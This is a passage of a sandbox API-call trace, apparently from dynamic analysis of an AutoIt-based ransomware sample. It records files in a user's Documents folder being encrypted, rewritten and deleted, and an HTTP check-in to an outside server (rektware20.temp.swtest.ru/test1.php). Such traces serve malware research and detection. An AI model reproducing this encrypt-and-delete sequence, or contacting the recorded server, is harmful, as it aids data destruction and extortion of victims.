lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.731] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.731] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.731] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.732] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.732] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.732] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x96e4, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x96f0) returned 1 [0070.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.732] CharLowerBuffW (in: lpsz="byte[38641]", cchLength=0xb | out: lpsz="byte[38641]") returned 0xb [0070.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.733] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.734] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.734] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.734] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.735] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17da208*, pdwDataLen=0x130e618*=0x96e4, dwBufLen=0x96f0 | out: pbData=0x17da208*, pdwDataLen=0x130e618*=0x96f0) returned 1 [0070.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.735] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.735] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.735] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.735] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.735] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.735] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.735] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.736] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.738] WriteFile (in: hFile=0x2ac, lpBuffer=0x17b84d0*, nNumberOfBytesToWrite=0x96f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17b84d0*, lpNumberOfBytesWritten=0x130f01c*=0x96f0, lpOverlapped=0x0) returned 1 [0070.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.739] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.739] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.739] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.739] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.739] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.740] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0070.740] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.740] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.740] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.740] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.740] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.740] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.740] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.740] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.741] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.741] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.741] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.741] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.742] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.742] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.742] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.742] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.742] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.742] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.742] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.742] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.742] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0070.742] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.742] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.742] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.743] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.743] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.743] CloseHandle (hObject=0x3bc) returned 1 [0070.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.743] CloseHandle (hObject=0x2ac) returned 1 [0070.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.746] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.746] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", lpFilePart=0x0) returned 0x2a [0070.746] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\msrfz.docx")) returned 0x20 [0070.746] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8b0 [0070.746] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\msrfz.docx")) returned 1 [0070.748] FindNextFileW (in: hFindFile=0x164c8b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.748] FindClose (in: hFindFile=0x164c8b0 | out: hFindFile=0x164c8b0) returned 1 [0070.748] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.748] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.748] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.748] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.748] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.748] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.748] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.749] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0070.749] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.749] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.749] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.750] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.750] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.750] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.750] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.750] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.750] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.750] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.750] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.750] CloseHandle (hObject=0x0) returned 0 [0070.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] 